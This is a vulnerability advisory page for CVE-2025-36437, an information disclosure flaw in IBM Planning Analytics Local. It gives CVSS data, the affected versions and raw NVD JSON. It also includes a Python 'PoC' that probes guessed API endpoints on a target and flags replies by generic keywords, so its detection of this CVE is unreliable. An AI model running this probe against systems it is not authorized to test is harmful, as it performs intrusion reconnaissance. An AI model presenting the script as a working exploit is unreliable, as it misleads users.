Security Vulnerability Report
中文
CVE-2025-36437 CVSS 4.3 MEDIUM

CVE-2025-36437

Published: 2025-12-09 22:16:10
Last Modified: 2026-01-14 20:40:26

Description

IBM Planning Analytics Local 2.1.0 - 2.1.15 could disclose sensitive information about server architecture that could aid in further attacks against the system.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:ibm:planning_analytics_local:*:*:*:*:*:*:*:* - VULNERABLE
IBM Planning Analytics Local 2.1.0
IBM Planning Analytics Local 2.1.1
IBM Planning Analytics Local 2.1.2
IBM Planning Analytics Local 2.1.3
IBM Planning Analytics Local 2.1.4
IBM Planning Analytics Local 2.1.5
IBM Planning Analytics Local 2.1.6
IBM Planning Analytics Local 2.1.7
IBM Planning Analytics Local 2.1.8
IBM Planning Analytics Local 2.1.9
IBM Planning Analytics Local 2.1.10
IBM Planning Analytics Local 2.1.11
IBM Planning Analytics Local 2.1.12
IBM Planning Analytics Local 2.1.13
IBM Planning Analytics Local 2.1.14
IBM Planning Analytics Local 2.1.15

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-36437 PoC - IBM Planning Analytics Local Information Disclosure # Target: IBM Planning Analytics Local 2.1.0 - 2.1.15 def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2025-36437 """ # Common endpoints that may leak information endpoints = [ '/api/v1/system/info', '/api/v1/server/config', '/api/v1/server/status', '/tm1web/Api/v1/Configuration', '/tm1web/Api/v1/SystemInfo' ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Accept': 'application/json' } print(f"[*] Checking target: {target_url}") print(f"[*] CVE-2025-36437 - IBM Planning Analytics Local Info Disclosure\n") for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: response = requests.get(url, headers=headers, timeout=10, verify=False) if response.status_code == 200: print(f"[+] Endpoint: {endpoint}") print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)} bytes") # Check for sensitive information patterns sensitive_patterns = [ 'server', 'version', 'os', 'path', 'config', 'database', 'hostname', 'architecture' ] response_lower = response.text.lower() found_sensitive = [p for p in sensitive_patterns if p in response_lower] if found_sensitive: print(f"[!] Potential sensitive info found: {', '.join(found_sensitive)}") print(f"[>] Response preview:\n{response.text[:500]}...") print() except requests.exceptions.RequestException as e: print(f"[-] Error accessing {endpoint}: {str(e)}") print("[*] Scan completed") if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com:9510") sys.exit(1) target = sys.argv[1] check_vulnerability(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-36437", "sourceIdentifier": "[email protected]", "published": "2025-12-09T22:16:10.070", "lastModified": "2026-01-14T20:40:25.923", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Planning Analytics Local 2.1.0 - 2.1.15 could disclose sensitive information about server architecture that could aid in further attacks against the system."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-209"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:planning_analytics_local:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.1.0", "versionEndExcluding": "2.1.16", "matchCriteriaId": "FA756731-D532-4D82-9733-645A54195C23"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7253603", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}